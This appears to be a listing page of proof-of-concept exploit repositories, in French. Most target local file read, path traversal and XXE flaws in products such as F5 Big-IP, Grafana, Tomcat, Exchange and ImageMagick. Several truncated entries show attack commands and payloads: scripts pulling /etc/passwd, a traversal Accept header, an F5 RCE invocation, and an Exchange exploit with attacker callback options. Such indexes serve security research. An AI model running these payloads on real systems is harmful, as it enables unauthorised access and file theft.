CVE-2025-27136-XXE-LocalS3

CVE-2025-27136 XXE-LocalS3 Preuve de concept pour CVE-2025-27136 XXE dans Local-S3 └─$ python3 exploit.py http://$ip:8080 /etc/passwd + Service S3 détecté + Création du bucket : xxe-32d14993 + Réponse du serveur : ac3aaf20-e59a-4705-9505-3ebb01db7fc1 + Récupération du fichier via ?location +...

CVE-2025-66516-POC

⚠️ LISEZ L'AVERTISSEMENT AVANT UTILISATION ⚠️ Test pédagogique/uniquement autorisé | Licence | Politique de sécurité À propos de cette POC Ce dépôt contient un exploit de preuve de concept POC pour CVE-2025-66516 , une vulnérabilité d'injection XML External Entity XXE dans les versions d'Apache...

cve-2020-5902

cve-2020-5902 cve-2020-5902 POC d'exploit POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAME specify the...

CVE-2016-10956-mail-masta

Mail Masta - Lecture de fichier locale CVE-2016-10956 Le plugin mail-masta 1.0 pour WordPress permet de lire des fichiers locaux dans countofsend.php et csvexport.php. Utilisation $ ./CVE-2016-10956mailmasta.py -h + Mail Masta - Local File Read CVE-2016-10956 usage: CVE-2016-10956mailmasta.py -h ...

CVE-2019-5418

Cas de test CVE-2019-5418 Exécution : $ rails s Preuve de concept : Accept: ../../../../../../../../etc/passwd Requête 1 - GET /shitblock HTTP/1.1 Host: REDACTED:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:65.0 Gecko/20100101 Firefox/65.0 Accept: diyarbakirguzelbaglardelalelorke...

CVE-2024-28995

CVE-2024-28995 Parcours de chemin automatisé et lecture de fichier local Fonctionnalités Détection de version : Récupère la version de Serv-U à partir de l'en-tête du serveur. Vérification de vulnérabilité : Compare la version détectée avec une version vulnérable connue 15.4.2 ou inférieure. Test...

CVE-2020-5902

CVE-2020-5902 Script Python pour exploiter la vulnérabilité F5 Big-IP CVE-2020-5902 Exemples Exploitation de la lecture de fichier local : python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd Exploitation RCE : python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2024-40422

CVE-2024-40422 Trouvé cela sur exploit-db, décidé de créer le mien pour m'entraîner. Cet exploit va rechercher le fichier passwd et afficher son contenu sur un système vulnérable. Ce script exploite une vulnérabilité de traversée de chemin dans Devika v1. Crédit à Alperen Ergel pour avoir découve...

LocalAI - Partial Local File Read

A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery SSRF and partial Local File Inclusion LFI. The endpoint supports both https-// and file-// schemes, where the latter can lead to LFI. However, the output is limited due to the...

Vitest Browser Mode - Local File Read

Vitest is a testing framework powered by Vite. The screenshot-error handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by browser.api.host- true, an attacker can send a request to that handler from remote to get th...

Eclipse Mojarra - Local File Read

Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter. id: CVE-2020-6950 info: name: Eclipse Mojarra - Local File Read author: iamnoooob,pdresearch severity: medium description: | Directory traversal in Eclipse Mojarra...

CVE-2026-85706-PoC-Toolkit

CVE‑2026‑85706 – Boîte à outils de lecture de fichiers non authentifiée GitLab USAGE ÉTHIQUE UNIQUEMENT – TESTS DE SÉCURITÉ AUTORISÉS Ce dépôt fournit des outils destinés exclusivement aux professionnels de la sécurité autorisés, aux blue teams et aux testeurs d'intrusion. Tout accès non autorisé...

CVE-2019-8389

CVE-2019-8389 - Lecture arbitraire de fichiers dans Musicloud pour iOS v1.6 CVE-2019-8389 Un code d'exploitation permettant d'exploiter une vulnérabilité de lecture locale de fichiers dans l'application Musicloud v1.6 pour iOS Description : Une vulnérabilité de lecture de fichiers a été identifié...

CVE-2026-45504

CVE-2026-45504 Lecture de fichier Exchange CVE-2026-45504 Exchange File Read Blog de recherche python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

CVE-2022-44268

CVE-2022-44268 Ce dépôt contient une preuve de concept POC pour une vulnérabilité dans ImageMagick v. 7.1.0-49, une bibliothèque de manipulation d'images open-source largement utilisée. La vulnérabilité permet à un attaquant d'incorporer le contenu d'un fichier arbitraire dans une image...

tomcatfileread

CVE-2020-1938 Tomcat File Read / File Include Ghostcat — python3 CVE-2020-1938 CNVD-2020-10487 Exploitation POC de lecture de fichier / inclusion de fichier via le protocole AJP de Tomcat — version convertie en python3. Auteur de la version originale python2 : ydhcui —...

CVE-2026-77578

CVE-2026-77578 — Lecture arbitraire de fichiers locaux dans Xibo CMS Aperçu CVE-2026-77578 est une vulnérabilité de lecture arbitraire de fichiers locaux authentifiée dans Xibo CMS. Un utilisateur authentifié disposant de privilèges Admin ou d'un accès aux Modèles de modules peut importer un modè...

CVE-2021-43798

CVE-2021-43798 par Privacy Hunter Versions affectées : Grafana 8.0.0-beta1 à 8.3.0 à l'exception des versions corrigées Type de vulnérabilité : Directory Traversal Parcours de répertoire Niveau de gravité : Critique Critical Plateforme : Grafana plateforme open-source de monitoring et...

CVE-2024-28752

Environnement de reproduction de la CVE-2024-28752 d'Apache CXF Avis de sécurité : https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt Démarrage de l'environnement samples/javafirstjaxwsfactorybean IDEA Démarrez le service web via ServerStarter.java Compilation Utiliser JDK8 mvn...

poc-yaws-dav-xxe

XXE dans le serveur web Yaws CVE-2020-24379 Preuve de concept Construire l'image de test : docker build -t vulnbe/yaws-pocs:xxe-dav-mod -f Dockerfile . et/ou Lancer le conteneur docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:xxe-dav-mod Ensuite, exécutez : curl -i -s -k -X LOCK...